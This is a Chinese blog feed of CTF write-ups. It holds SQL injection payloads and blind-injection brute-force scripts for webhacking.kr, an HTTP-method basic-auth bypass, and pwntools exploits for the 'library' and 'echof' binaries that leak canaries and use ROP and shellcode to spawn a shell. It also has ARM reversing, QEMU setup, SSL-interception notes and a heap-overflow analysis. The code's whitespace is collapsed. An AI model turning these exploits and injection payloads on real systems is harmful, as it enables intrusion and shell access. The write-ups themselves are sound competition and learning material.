Quantcast
Channel: 记事本
Viewing all 122 articles
Browse latest View live

webhacking.kr challenge 8

$
0
0

接连的几道题都是代码审计的。这道题里,对User-Agent有两个取法,一种是getenv,另一种是$_SERVER,而对两个的不一致的过滤就造成了问题。

具体地,getenv得到的里面不限制单引号、括号和注释符号#,而且会在后面的插入语句里出现。如果我们这里取User-Agent: agent','ip', 'admin')#,那么就会插入一条id为admin的记录。

接下来,我们再请求一次,这次是User-Agent: agent,那么就会取出刚才插入的那条记录,满足id为admin的条件。


webhacking.kr challenge 7

$
0
0

发现有页面的源代码,发现参数val处存在注入,而且在提示里也说了用union。所做的防御是过滤了一些字符,而且每次随机选一个查询语句,不同的语句需要闭合的括号数目不同。

由于不允许使用空格和注释,我就用TAB来分词;由于最后需要的结果2也不允许出现,加号也不允许出现,我们用减法3-1=2

由于只有5种随机的情况,所以选定一种一直跑应该就有选中的可能。我选了最简单的只有1个括号的,

http://webhacking.kr/challenge/web/web-07/index.php?val=0)union%09select(3-1

没想到第一次跑就中了。

webhacking.kr challenge 9

$
0
0

这道题花了好久啊才做出来……不愧是这么大分值的题目

首先,直接点击后就是遇到了HTTP basic auth。由于realm是sql injection world,我开始还以为在这里就要有注入……试了各种知道的payload发现没有用,于是在这里卡住了

然后是搜索时偶然发现这里提到了他的basic auth被GETS方法绕过了,而实际上GETS并不是什么正确的方法,是因为配置时只检查了GET等常用方法,其他的也被解释成GET方法了,这点实在是太二了……所以只要我们使用其他方法就可以绕过这里,比如OPTION,就连

$ curl -b 'PHPSESSID=18r88ol7enbiqja7liuq623c43''http://webhacking.kr/challenge/web/web-09/index.php' -X WTF

这样都可以……

然后该页面有参数no,这里是有注入;还有有一个表格,提交参数pw,这里应该是得到的答案。具体地,no取1或2时,页面返回有Apple或Banana;当no=3时,会显示提示说长度是11,数据库的column是idno

no参数尝试注入,发现一旦有危险字符就会返回denied,一个个试下来,很多都被过滤了。最后找到可用的payload是用if加substr,由于大于小于符号什么的也过滤了,所以用的是in()。基本格式如下:

select * from t1 where id=if(substr(name,1,1)in('D'),1,2);

在上面的语句中,id=1会被选中如果其对应的name首字符是D或者did=2会被选中如果其对应的name首字符不是D且不是d。这里大小写不区分,导致了后面的暴力破……对于这道题,我们需要每次只选中一行,而no=0是没有对应的行的,于是用

no=if(substr(id,1,1)in(0x41),1,0)

这样来确定no=1对应的id,得到是APPLE。用

no=if(substr(id,1,1)in(0x41),2,0)

这样来确定no=2对应的id,得到是BANANA。 最后用

no=if(substr(id,1,1)in(0x41),3,0)

这样来确定no=3对应的id,得到是ALSRKSWHAQL。用的代码如下

#!/usr/bin/env python2importhttplibdefmakePayload(statement):return"/challenge/web/web-09/index.php?no=if(substr(id,%d,1)in(%s),3,0)"%(statement[0],hex(statement[1]))defcheckResponse(response):returnresponse.find("Secret")!=-1defdoAssert(conn,statement):conn.request("WTF",makePayload(statement),"",header)response=conn.getresponse()content=response.read()returncheckResponse(content)if__name__=="__main__":url="webhacking.kr"header={"cookie":"PHPSESSID=18r88ol7enbiqja7liuq623c43"}conn=httplib.HTTPConnection(url)result=[]foridxinrange(1,12):print"idx %d"%idxforcodeinrange(33,127):ifdoAssert(conn,(idx,code)):printcoderesult.append(chr(code))breakprint''.join(result)

如上所说,由于没有区分大小写,这里并不能确定。由于总共是2^11=2048种情况,我想着并不多可以暴力一次,谁知道跑了好久好久……代码如下

#!/usr/bin/env python2importhttplibimportitertoolsif__name__=="__main__":url="webhacking.kr"header={"cookie":"PHPSESSID=18r88ol7enbiqja7liuq623c43"}conn=httplib.HTTPConnection(url)forpwinmap(''.join,itertools.product(*((c.upper(),c.lower())forcin"ALSRKSWHAQL"))):conn.request("WTF","/challenge/web/web-09/index.php?pw=%s"%pw,"",header)response=conn.getresponse()content=response.read()printcontent

结果跑到最后的一种情况是正确的,对应的是全小写……早知道先试下就好了

webhacking.kr challenge 10

$
0
0

这道题其实和web-09非常像。

进入页面,发现有提示,知道了column和表的名字。然后试了下直接把参数no取为查询语句,发现还是很多过滤了,而且最后发现似乎返回值只见到了0和1,估计还是盲注。

过滤的地方,主要是空格有问题,但如果把空格换为换行符%0a就可以了。

然后还用昨天的思路,但一直跑不出来……最后搜了答案。相比我的,主要是这次flag有两个,用我昨天做web-09时的那种对应关系被固定了。而用minmax就可以用特定的那一个。

另一处是昨天直接检查字符in(),不区分大小写导致最后暴力了一把;而用ord()先得到ascii码再检查就可以区分大小写了。

代码如下,我先试了min(flag),中了

#!/usr/bin/env python2importhttplibdefmakePayload(statement):return"/challenge/web/web-10/index.php?no=if((select%%0aord(substr(min(flag),%d,1))from%%0aprob13password)in(%d),1,2)"%(statement[0],(statement[1]))defcheckResponse(response):returnresponse.find("<td>1</td>")!=-1defdoAssert(conn,header,statement):conn.request("GET",makePayload(statement),"",header)response=conn.getresponse()content=response.read()returncheckResponse(content)if__name__=="__main__":url="webhacking.kr"header={"cookie":"PHPSESSID=oaka47lr0m69a85ghgfeqinup4"}conn=httplib.HTTPConnection(url)result=[]foridxinrange(1,21):print"idx %d"%idxforcodeinrange(33,127):ifdoAssert(conn,header,(idx,code)):printcoderesult.append(chr(code))breakprint''.join(result)

webhacking.kr challenge 12

$
0
0

这道题给了源代码,发现过滤了union。于是只能从当前表考虑了。

尝试了取no=1,得到guest,说明其对应的no是1。如果表里还存在id=admin的记录,那么那条记录的id要么比1小,要么比1大。于是分别尝试这两种,发现后一种是正确的

http://webhacking.kr/challenge/web/web-12/index.php?no=9)+or+no>1--+

第一次做ARM逆向的题目

$
0
0

把ARM环境搭好后,就可以动态调试了。之前一道arm逆向的题目,由于没有环境一直只能静态分析,但对arm完全不熟,进行不下去。果然能动态调试就好了。

题目给了一个.c文件和一个.asm文件。我首先编译.c文件,但发现得到的结果用了好多thumb的16 bits的代码,而这和给的.asm文件是不同的。搜索后发现需要指定-marm。于是

$ gcc leg.c -g -marm -o leg

然后就可以用gdb一步步看了,非常清楚。

特别地,我之前还一直以为执行时寄存器pc里的值是下一条指令的地址,但发现实际是

The address of the currently executing instruction is typically PC-8 for ARM, or PC-4 for Thumb.

pc里应该是当前执行的地址加8。所以函数key1里:

0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>:    mov r0, r3

会把0x8cdc+8=0x8ce4放到r3r0,即返回0x8ce4

而函数key3里:

0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>:    mov r0, r3

由于调用key3时返回地址lr0x8d80,于是key3返回0x8d80

最后来看函数key2:

0x00008cf8 <+8>: push    {r6}        ; (str r6, [sp, #-4]!)
0x00008cfc <+12>:    add r6, pc, #1
0x00008d00 <+16>:    bx  r6
0x00008d04 <+20>:    mov r3, pc
0x00008d06 <+22>:    adds    r3, #4
0x00008d08 <+24>:    push    {r3}
0x00008d0a <+26>:    pop {pc}
0x00008d0c <+28>:    pop {r6}        ; (ldr r6, [sp], #4)
0x00008d10 <+32>:    mov r0, r3

0x8cfc那里,会把r6的值设为0x8cfc+8+1=0x8d05,然后bx r6会转成thumb模式。而这里0x8d05不是2的倍数,用gdb调试发现执行时因为对齐,似乎会从2的倍数那里执行,即0x8d04。因为是thumb模式,于是接下来又把r3设为0x8d04+4+4=0x8d0c,作为返回值。

综上,需要输入的数是0x8ce4+0x8d80+0x8d0c=108400

补充:大概查了下,关于bx的地址有加1那里,加1是为了指定跳转到thumb模式,如果还是跳到arm模式就不需要了;此外即使加了1,bx最后取的地址还是没加1的

用QEMU模拟ARM环境

$
0
0

之前遇到ARM逆向的入门题,但没有环境只能静态分析,非常慢;而且我觉得边调试边学应该会快一些,于是决定模拟一个ARM环境装linux系统。

首先是QEMU,由于单位电脑系统是RHEL 6,没有qemu-system-arm,于是我不得不编译了一次。我下的是qemu-2.0.2,运行

$ ./configure --target-list="arm-softmmu arm-linux-user" --enable-sdl --prefix=/usr
$ make
$ make install

来安装QEMU。

然后创建一个qcow2镜像文件,我分了10G

$ qemu-img create -f qcow2 arm.qcow2 10G

接下来就该在上面装系统了,这里的指示写的很详细,用的是Debian 7。但启动还需要vmlinuxinitrd,在这里下载。运行:

$ qemu-system-arm -m 1024M -sd arm.qcow2 -M vexpress-a9 -cpu cortex-a9 -kernel ../Downloads/vmlinuz-3.2.0-4-vexpress -initrd ../Downloads/initrd.gz -append "root=/dev/ram" -no-reboot

就进入到安装界面了,稍微有点慢,一个多小时安装完成。

安装结束后,还需要把装上的vmlinuzinitrd提取出来,传给QEMU启动。提取时需要挂载我们的qcow2镜像,要加载nbd模块,结果我的RHEL 6又悲剧了……然后比较二的是在虚拟机里的ubuntu 14里完成这些工作,再拷回RHEL。命令如下

$ modprobe nbd max_part=16
$ qemu-nbd -c /dev/nbd0 arm.qcow2
$ mount /dev/nbd0p1 /mnt
$ cp /mnt/* ~
$ umount /mnt
$ qemu-nbd -d /dev/nbd0

因为安装时分区boot分在了第一个分区,所以mount时用nbd0p1

有了提取出来的vmlinuz-3.2.0-4-vexpressinitrd.img-3.2.0-4-vexpress,终于可以启动了:

$ qemu-system-arm -m 1024M -sd arm.qcow2 -M vexpress-a9 -cpu cortex-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -append "root=/dev/mmcblk0p2"

这里用mmcblk0p2,是还是因为分区时/分在了第二个分区。

以后还是用ssh连上去,也不需要显示窗口,所以用

$ qemu-system-arm -m 1024M -sd arm.qcow2 -M vexpress-a9 -cpu cortex-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -append "root=/dev/mmcblk0p2" -display none -redir tcp:33333::22 &

让本地的33333端口转到ssh。需要连上去时就用

$ ssh roo@127.0.0.1 -p33333

ISG初赛library

$
0
0

子曰:温故而知新。最近一段时间没有练习pwn的题目,正好当时ISG初赛的library还一直没研究,于是练习了下。果然是稍微放一放就生疏了……

比较明显的问题是在register里,有一个format string attack。但这道题对这里还是有一些限制,比如字符串长度只有15,而且一旦调用过一次就不能再调用了。我最初光考虑这个漏洞了,想好久也没有找到好的方法。因为有ASLR,所以必须先读某个函数的地址,再改got;但是只能调用一次这点限制太严重了,而且15个字符基本上改不了什么。

然后看到query里有一处读输入到栈上的代码,而读的长度是在一个全局变量里保存的,到此才稍微明白了思路:可以改这个全局变量使得读输入溢出,修改返回地址。但在query里还检查了canary,所以我们还需要canary的值,而这个值可以从format string那里得到。由于canary保存在栈上,为了读栈上的内容,用的格式是%x,所以要把返回的8 bytes的hex转化为4 bytes的内容。

具体地,改全局变量那里,由于15个字符的限制,只能改一下了,所以可以把全局变量的高位改为非零,这样的话全局变量的值就成了一个大数。

可以修改返回地址后,我又陷入了思维定式,还想再用format string来读函数地址。但正如前面所说,对register有限制;想要修改返回地址为main从头再来,但全局变量那里又需要再改了……最后意识到,一旦可以修改返回地址,就直接rop了,不需要再利用限制那么严格的format string。

于是,用puts来打印函数地址。rop最后跳到query里,再一次造成溢出,执行system

#!/usr/bin/env python2frompwnimport*importsysif__name__=='__main__':context(arch='i386',os='linux')#libc = ELF('/opt/arch32/usr/lib/libc.so.6')systemLibcAddr=0x3b010#libc.symbols['system']#print hex(systemLibcAddr)putsLibcAddr=0x64250#libc.symbols['puts']#print hex(putsLibcAddr)shStrLibcAddr=0x15d1b3#next(libc.search('/bin/sh\x00'))#print hex(shStrLibcAddr)elf=ELF('library')putsGot=elf.got['puts']putsPlt=elf.plt['puts']leftTime=0x0804b008doQuery=0x08048971ip="127.0.0.1"#sys.argv[1]conn=remote(ip,1111)payload="1\n"+p32(leftTime+1)+"%35$x%10$hn\n"conn.send(payload)conn.recvuntil("Mr./Mrs. "+p32(leftTime+1))canary=int(conn.recvn(8),16)#print "canary is %s" % hex(canary)payload="2\n"+"A"*0x100+p32(canary)+"B"*12+p32(putsPlt)+p32(doQuery)+p32(putsGot)+"\n"conn.send(payload)conn.recvuntil(":'(\n")putsMemAddr=unpack(conn.recvn(4))systemMemAddr=putsMemAddr+(systemLibcAddr-putsLibcAddr)shStrMemAddr=putsMemAddr+(shStrLibcAddr-putsLibcAddr)#print "system is at %s" % hex(systemMemAddr)#print "puts is at %s" % hex(putsMemAddr)#print "sh is at %s" % hex(shStrMemAddr)payload="A"*0x100+p32(canary)+"B"*12+p32(systemMemAddr)+p32(0xabcdabcd)+p32(shStrMemAddr)+"\n"conn.send(payload)conn.interactive()

mysql比较字符串忽略结尾的空白

$
0
0

今天学习到一个知识点,在查询时如果比较字符串,会忽略结尾的连续空白,起始的空白不会忽略。于是:

select * from users where user='admin ';

会把user='admin'的记录也选出。

这里有比较详细的例子,而且mysql的官方文档也说了:

In particular, trailing spaces are significant, which is not true for CHAR or VARCHAR comparisons performed with the = operator

olympic ctf echof(PWN 300)

$
0
0

2015年第一帖。

以往的CTF的题目质量还是很高的,所以打算稍微练一练这些题目。

这道题目,存在一处format string attack。主要是在strncpy后添加结尾的null字符时,如果长度足够,就会把之后用到的格式字符串地址最低byte设为0,而那里正好指向我们提供的内容,于是接下来的sprintf造成漏洞。

但是,在开始时会先检查我们提供的内容是否包括字符n,这就使得%n这种方式不可用了。于是format string就只能用来读内存。另一方面,由于sprintf的目标地址在栈上,所以这里可以溢出覆盖返回地址。由于有canary保护,我们需要读canary的内容,以用来后面溢出能通过检查。

这道题有一个与以往不同之处,就是可执行文件是PIE的,即程序自身的代码地址也会变化,而且以往那样直接在GOT固定位置得到函数地址的方法行不通了。比如说,通过调试发现,call mmap在我的机子上会成为调用相对eip偏移。

于是我们还需要读内存,得到.text的基地址。幸运的是,在栈上发现了指向某条指令的地址,于是通过读那里的内容,就可以获得.text段的地址了。进一步,通过读取call mmap指令处的偏移,就可以得到函数mmap的地址。

获得这些需要的地址后,接下来需要溢出改返回地址了。而不幸的是,发现canary的最低byte总是0,这就导致strncpy时会截断,格式字符串不完整了。后来发现,由于在ret之前有好几轮sprintf,于是可以先使用错误的canary,即最低byte非0而其他位正确,然后利用sprintf会把结尾的byte设为0,再一次溢出并只修改canary的最低位成为0。这样在最后的ret时canary就符合要求了。

同样地,在后面调用mmap时,参数也有很多null字符,这里也用和canary一样的思路写0到栈。具体调用时,尝试发现有些参数里不包括0也是可以的,比如flag。如下的调用

mmap(0x11111000, 0x01011000, 0x01010107, 0x01010122, -1, 0x01011000);

就会映射出

0x11111000 0x12122000 rwxp      mapped

综上,大概思路就是,先得到一段rwx的指定区域,然后read把shellcode读到那里,最后跳到那里执行。

#!/usr/bin/env python2frompwnimport*importsysdefsendNull(conn,payload):chunks=payload.split("\x00")clen=len(chunks)print"%d chunks"%clenforiinrange(clen):plo="\xaa".join(chunks)size1=0x80-5-len(plo)size2=0x100-size1fmt="%%%dx"%size2ifnot(len(fmt)+size1+len(plo)==0x80):print"%d%s%d"%(size1,fmt,len(plo))exit(1)pl="b"*size1+fmt+ploconn.recvuntil("msg?\n")conn.send(pl)chunks=chunks[:-1]if__name__=='__main__':context(arch='i386',os='linux')ip="127.0.0.1"#sys.argv[1]conn=remote(ip,1111)c1="%78$08x%80$08x"payload1="letmein\n"+c1+"a"*(0x80-len(c1));conn.send(payload1)conn.recvuntil("msg?\n")canary=int(conn.recvn(8),16)print"canary is %s"%hex(canary)eip=int(conn.recvn(8),16)print"eip is %s"%hex(eip)base=eip&0xfffff000print"base is %s"%hex(base)call_mmap=base+0xae5call_read=base+0xa78c2="%44$sABCD\n%45$s"payload2=c2+"a"*(0x80-len(c2)-8)+p32(call_mmap+1)+p32(call_read+1)conn.send(payload2)conn.recvuntil("msg?\n")mmap_off=unpack(conn.recvn(4))mmap=(call_mmap+5+mmap_off)&0xffffffffprint"mmap is %s"%hex(mmap)conn.recvuntil("ABCD\n")read_off=unpack(conn.recvn(4))read=(call_read+5+read_off)&0xffffffffprint"read is %s"%hex(read)pop=base+0x8b5#pop 7 dword and rettarget=0x11111000payload2=p32(canary)+"a"*12+p32(mmap)+p32(pop)+p32(target)+p32(0x01011000)+p32(0x01010107)+p32(0x01010122)+p32(0xffffffff)+p32(0x01011000)+p32(0xffffffff)+p32(read)+p32(target+1)+p32(0)+p32(target+1)+p32(0xffffffff)sendNull(conn,payload2)conn.recvuntil("msg?\n")conn.send("n")shellcode="\x31\xc0\x50\x89\xe2\x66\x68\x2d\x70\x89\xe1\x50\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x51\x53\x89\xe1\xb0\x0b\xcd\x80"conn.send(shellcode)conn.interactive()

我还考虑过这道题能不能利用内存泄露用pwntools得到system函数的地址,然后调用的方式。但那样的话还需要把/bin/sh放到指定的某处,而且限制16次可能不够找system,还需要再返回main来一遍。后来就没有试了。

ISG初赛BT

$
0
0

这道题目是去年ISG初赛的一道ARM逆向题,当时的知识储备还不足以解决。但其实稍微了解了下ARM汇编之后就可以做了,虽然说还不熟练,花了较久时间。

我是开始想用IDA的反编译的,但不知怎么回事,对thumb代码的处理总有问题;继而无奈用hopper,然而hopper得到的伪代码还是比较简陋的,而且发现居然会把本应是*ptr+=1这样的反编译为*ptr=1,这个错误太大了……于是最后基本还是通过读汇编代码,理解分析后得到伪代码如下

structsNode{charvalue;structsNode*left;structsNode*right;};typedefstructsNodeNode;structsInfo{Node*node;intheight;intvalue2;}typedefstructsInfoInfo;intrecord[128];//record=0x11258intindex;//&index=0x116f8intinfoCount;//&infoCount=0x116fcInfo*infoStack[];//infoStack=0x11058functionsetup{//sub_8610memset(0x11058,0x0,0x200);}functionbuildTree(char*str,Node**nodeAddr){//sub_86d4charch;//&ch=r7+0xfch=str[index];if(ch==0)return;index++;if(ch==' ')return;Node*newNode=malloc(sizeof(Node));*nodeAddr=newNode;newNode->value=ch;buildTree(str,&(newNode->left));buildTree(str,&(newNode->right));return;}functionpush(Info*info){//sub_8634if(infoCount<=0x7e){infoStack[infoCount++]=info;}return;}functionpop{//sub_867cif(infoCount>0){returninfoStack[--infoCount];}elsereturnNULL;}functiontraverse(Node*node){//sub_8790push(NULL);Node*current=node;//*current=r7+8intheight=0;//&height=r7+0xcintsomeVal=0;//&someVal=r7+0x10Info*info;//*info = r7+0x14while(current!=NULL){if(record[current->value]!=0){record[current->value]=someVal;}if(current->right!=NULL){info=malloc(sizeof(Info));info->node=current->right;info->height=height+1;info->value2=49*(height+1)+someVal;push(info);}if(current->left!=NULL){height++;someVal+=48*height;current=current->left;}else{info=pop();if(info!=NULL){current=info->node;height=info->height;someVal=info->value2;free(info);}elsecurrent=NULL;}}return;}functioncheck(char*str,size_tlen){intbuf[0xa0/4];//buf=r7+0x10inti=0;//&i=r7+0xcmemset(buf,0x0,0xa0);while(i<len){buf[i]=record[str[i]];i++;}doCheck(buf,len);}functiondoCheck(int*buf,size_tlen){if(len==0x22&&buf=={0xc6b,0xa59,0x2d9,0x30,0x1e7,0xc75,0x881,0xa5a,0x169d,0x111c,0x870,0x546,0x169d,0x6c8,0x90,0x870,0x1129,0x3f6,0x13be,0xeab,0x31,0x169d,0x2d4,0x13cb,0x1990,0x870,0xc75,0x2d4,0x870,0x1110,0x6cf,0x2d0,0x3f0,!0x125})puts("correct");elseputs("wrong");}functiondestroyTree(Node*node){if(node!=NULL){destroyTree(node->left);destroyTree(node->right);free(node);}return;}functionmain{//sub_88d4Node*node;//&node=r7;charbuf[40];//buf=r7+0xcsetup();printf("Password:");fgets(buf,0x28,stdin);size_tlen=strlen(buf);//&len = r7+8len--;buf[len]=0;//'\n' => '\0'inti=0;//&i = r7+4while(i<len){record[buf[i]]=1;i++;}char*string="g{3q9OLNZ_bVWCyJk  l  sh  c  ax  r  d6  A  MY  t  Iv  P  4u  i  TS  Q  eB  n  Xz  o  R7  H  U2  p  F5  G  Km  8  Dw  }  Ej  f ";//string = 0x8c10buildTree(string,&node);traverse(node);check(buf,len);destroyTree(node);return0;}

可以看到,首先通过一个给定的字符串构造了一个二叉树,字符串中的连续两个空格就使左右子树均为空;然后进行深度优先搜索,对每个节点的字符计算了一个数;最后由前面生成的对应,检查输入字符串的每个字符。

为了找到正确的输入,我是依照树的构造方式和DFS,先找到每个字符对应的值,然后反过来查输入的各个字符应该为什么。

下面是我的python代码,二叉树构造那里写的很别扭……

#!/usr/bin/env python2classNode(object):value,left,right=0,None,Nonedef__init__(self,v):self.value=vclassTree(object):def__init__(self,string):self.string=stringself.root=Noneself.index=0self.height=0self.someVal=0self.stack=[]self.record={}defaddNode(self):ch=self.string[self.index]self.index+=1ifch==" ":returnNoneelse:returnNode(ch)defbuild(self,root):ifroot==Noneorself.index>=len(self.string):returnNonenode=self.addNode()root.left=self.build(node)node=self.addNode()root.right=self.build(node)returnrootdeftraverse(self,node):current=nodewhilenotcurrent==None:#print "%s:%s" % (current.value, hex(self.someVal))self.record[self.someVal]=current.valueifnotcurrent.right==None:self.stack.append((current.right,self.height+1,49*(self.height+1)+self.someVal))ifnotcurrent.left==None:self.height+=1self.someVal+=48*self.heightcurrent=current.leftelse:try:info=self.stack.pop(-1)current=info[0]self.height=info[1]self.someVal=info[2]exceptIndexError:current=Noneif__name__=="__main__":string="g{3q9OLNZ_bVWCyJk  l  sh  c  ax  r  d6  A  MY  t  Iv  P  4u  i  TS  Q  eB  n  Xz  o  R7  H  U2  p  F5  G  Km  8  Dw  }  Ej  f     "tree=Tree(string)root=tree.build(tree.addNode())tree.traverse(root)res=[]code=(0xc6b,0xa59,0x2d9,0x30,0x1e7,0xc75,0x881,0xa5a,0x169d,0x111c,0x870,0x546,0x169d,0x6c8,0x90,0x870,0x1129,0x3f6,0x13be,0xeab,0x31,0x169d,0x2d4,0x13cb,0x1990,0x870,0xc75,0x2d4,0x870,0x1110,0x6cf,0x2d0,0x3f0)forxincode:res.append(tree.record[x])print''.join(res)

运行得到除最后一个字符外,输入应该为ISG{8in4rY_7re3_tRavEr5Al_i5_CoOL。虽然检查时只要求最后一个字符对应的数不是0x125,但我们显然知道应该是右花括号}

wireshark, burpsuite与SSL

$
0
0

最近在工作中,有时需要用wireshark抓包分析。而有一些通信是被ssl加密了的。虽然说以前在其他队伍的writeup里有见到过如何把server的私钥提供给wireshark来解密,但我这几次试了下还是得不到需要的东西,所以稍微研究了一下。最后的结论是某些cipher是无法仅仅从抓到的包解密的。

首先,来了解一些相关的密码学知识。RSA就不再赘述了,这里主要讲一下Diffie-Hellman(DH)。从课堂上所学到的,知道通过它,可以在一个公开可监听的网络中,双方协商确定一个秘密,从而作为之后的密钥进行加密通信。如下是大致的描述:

  • Alice和Bob首先确定一个素数p,以及p的原根g。这里p和g是可以被攻击者知道的
  • Alice选择一个秘密的数a,计算A=g^a mod p,将结果传给Bob
  • Bob选择一个秘密的数b, 计算B=g^b mod p, 将结果传给Alice
  • Alice计算B^a mod p,作为他们的共享秘密
  • Bob计算A^b mod p,作为他们的共享秘密

可以看到,最后二人计算得到的共享秘密是相同的,因为(g^b)^a=(g^a)^b。而攻击者知道的是p, g, A, B,但很难计算得到Alice和Bob的共享秘密(因为要计算离散对数)。同样因为离散对数,Alice几乎不可能知道Bob的秘密b,Bob几乎不可能知道Alice的秘密a。 更进一步,在得到最后的共享秘密后,a和b完全可以舍弃。这样也避免了a或b被他人得到而解密。一般来说,a和b都是生成的一次性的随机数,不会被保存。

(题外话:DH真的是非常漂亮的算法啊)

然后,我们来看看ssl加密。SSL/TLS是在transport layer之上。主要流程是:首先通过PKI验证身份并确定之后的共享密钥,然后用这个密钥进行对称加密,进行通信。毕竟非对称加密相比对称加密还是非常慢的。

下图是RFC5246里对ssl流程的描述:

      Client                                               Server

      ClientHello                  -------->
                                                      ServerHello
                                                     Certificate*
                                               ServerKeyExchange*
                                              CertificateRequest*
                                   <--------      ServerHelloDone
      Certificate*
      ClientKeyExchange
      CertificateVerify*
      [ChangeCipherSpec]
      Finished                     -------->
                                               [ChangeCipherSpec]
                                   <--------             Finished
      Application Data             <------->     Application Data

其中星号说明该项是可选项。

下面结合我抓到的包来具体地看流程中各个步骤。server的私钥已经导入到wireshark。client的地址是10.66.128.8,server监听10.66.79.150:8443。

首先是ClientHello,会告诉server一些信息,比如client支持的cipher suites, compression method等等。

Clienthello

server会选取可接受的cipher和compression,由ServerHello告诉client。而我抓到的包里,cipher用的是TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,其中ECDHE的含义是elliptical curve Diffie-Hellman ephemeral。而这个cipher导致了我最终没能解开加密,后面会详细说。

ServerHello

发送完ServerHello,server会把自己的证书发给client,由client检查是否可信。wireshark里可以看到证书具体每项的内容。

server的证书

此外,server也可以选择检查client的身份,通过发送CertificateRequest并检查client提供的证书。

然后来看ServerKeyExchange和ClientKeyExchange。根据介绍

The ServerKeyExchange message is sent by the server only when the server Certificate message (if sent) does not contain enough data to allow the client to exchange a premaster secret.

而对于我们这里的ephemeral DH,就属于这种情况。(ephemeral RSA也一样)。也就是说,server证书里的RSA密钥并不用来传递共享密钥,共享密钥是通过前面所说的ECDHE传递的,RSA密钥的作用仅仅是为ECDHE做签名。这样临时的ephemeral DH key是一次性的,相对来说更安全一些。RFC4346里这么说:

When Diffie-Hellman key exchange is used, the server can either supply a certificate containing fixed Diffie-Hellman parameters or use the server key exchange message to send a set of temporary Diffie-Hellman parameters signed with a DSS or RSA certificate. Temporary parameters are hashed with the hello.random values before signing to ensure that attackers do not replay old parameters. In either case, the client can verify the certificate or signature to ensure that the parameters belong to the server.

再回顾DH,我们知道,即使通过server的私钥解密了DH的过程,我们还是无法计算出DH所确定的共享密钥,因此后面的对称加密也就解密不了了。这就解释了为什么提供server的私钥也不能解密。

补记:

这里提到,如果是要解密firefox的通信,可以通过环境变量SSLKEYLOGFILE,这样就可以将master key保存下来,进而wireshark可以由master key直接解密。但这个只是针对于Network Security Services(NSS)。

如果SSL用的不是NSS而是其他诸如OpenSSL呢?ssltrace似乎是个不错的选择。根据其描述,它是通过LD_PRELOAD来hook一些函数,支持OpenSSL和GnuTLS。但对于我还是用不了,因为我的二进制文件是Go编译的静态链接文件,不引用OpenSSL,悲催……

于是,用wireshark解密似乎是不太好办了,于是另一个思路就是用burp代理截包。burp监听本地的8080端口,但我的二进制文件不支持设置代理,于是可以通过iptables端口转发来将我们的request转到burp那里去。而在这里有一个坑:我把server放到虚拟机里,地址是127.0.0.1:8443,通信走的是本地lo。而我最初将iptables如下设置:

$ iptables -A OUTPUT -t nat -p tcp --dport 8443 -j REDIRECT --to-ports 8080

再启动client访问server,发现burp里开始无限循环访问server。这是因为burp抓到我们的包再去访问127.0.0.1:8443时,iptables规则再次生效,又一次发给8080的burp,如此无限循环了……在网上搜索,发现解决方法,即排除iptables规则对某一用户的程序的适用:

$ iptables -A OUTPUT -t nat -p tcp --dport 8443 -m owner ! --uid-owner 0 -j REDIRECT --to-ports 8080

这里uid为0的用户即root。所以我们只需要以root身份启动burp就可以了。

到这里还没完……接下来是burp的坑了。我最初用burp的默认配置,结果抓不到包,然后在设置里勾选上了support invisible proxy后才可以。但紧接着tls报错: failed to parse certificate from server: x509: negative serial number。检查后发现确实burp签名的证书serial number是负数。

证书serial number是负数

于是继续在网上搜索,看到burp论坛里提到过这件事。不幸的是Go TLS不支持负的serial number。那篇帖子的时间是2014年10月,我用的burp是free edition 1.6,可能还是需要等burp修复这个问题了。

BCTF writeup

$
0
0

周末参加了今年的第一次CTF,BCTF。由于这次CTF是面向国际的,所以题目的质量都比较高,种类也比较单纯,以逆向、溢出为主。这次确实是一个非常难得的锻炼机会,让我们体验到了国际水平CTF的难度。

我们队做出了5道题,我做出了zhongguancun和warmup。在这里记录下我思考的过程。

zhongguancun

是我在周日下午才做出来的。(差距啊……)

我的习惯是,首先通读一遍IDA F5得到的伪代码。但读完后没有发现什么明显的漏洞。具体的,可以创建不同种类的商品,最多16个。有一个全局的数组保存这些商品的指针,而每个商品的结构体中,除了保存我们提供的描述信息、价格等,还在结构体的起始处存有函数指针数组。这里面的函数是在某些步骤下要调用的。此外,还可以汇总现有的商品,生成一个menu,里面记录了商品的所有信息。

第一天找溢出点就花了好久……因为一直没有发现那种很明显的覆盖。最后,是比较了malloc分给menu的大小和menu最多可能存放的内容长度,才发现了溢出点。而且要做到溢出还是比较苛刻的,不仅商品的数目要达到最大,每个商品里的信息长度也要最长,就连商品的价格也要使得printf打印出来的尽可能长(所以价格是负数,就为了多那一个负号)。这样的结果是,生成的menu的长度可以超过malloc分配的长度,覆盖后面的内容。

而menu和商品都是在heap上储存的,如果在menu的后面存有商品,那么上述的溢出就可以修改那个商品的结构体。通过实验发现,我们先生成menu,再添加商品,那么这新添加的商品在heap的地址就在menu的地址之后了。通过计算可得,溢出可以覆盖menu下一个block的前5个字符,所以正好可以覆盖那个商品保存的函数数组。于是我的想法是,先添加第一个商品(因为如果没有商品就不能生成menu),再生成menu;再添加15个商品,再次重新生成menu(用的地址还是前面分配给menu的地址)。这样的话,第二个商品的函数数组就被覆盖了。之后我们再对这个商品进行访问,就可以调用我们提供的函数了。

但是,到这里才刚开始……函数数组里有两个函数,每一个在调用之前都会做检查。如果往函数数组里读/dev/zero成功,那么就认为检查不通过。也就是说,要求我们覆盖后的地址是不可写的,GOT这种运行时可写的就不满足要求。这一点我觉得是这道题的关键(最后发现flag里也说到了这一点)

我试着打印.text段里包含的函数指针,发现没有找到什么好用的。最后只能将目光放在原本的函数数组上。这两个函数,一个是用来生成商品的menu内容,参数是商品指针和用来存放所生成字符串的地址;另一个则是计算价格,参数是商品指针和购买数量。我突然发现,如果在应该调用第二个函数时,调用了第一个,那么就可以实现往任意地址写内容了。这是因为,第二个参数–我们提供的购买数量,会被当作是要保存menu信息的字符串地址,sprintf往里面写内容。

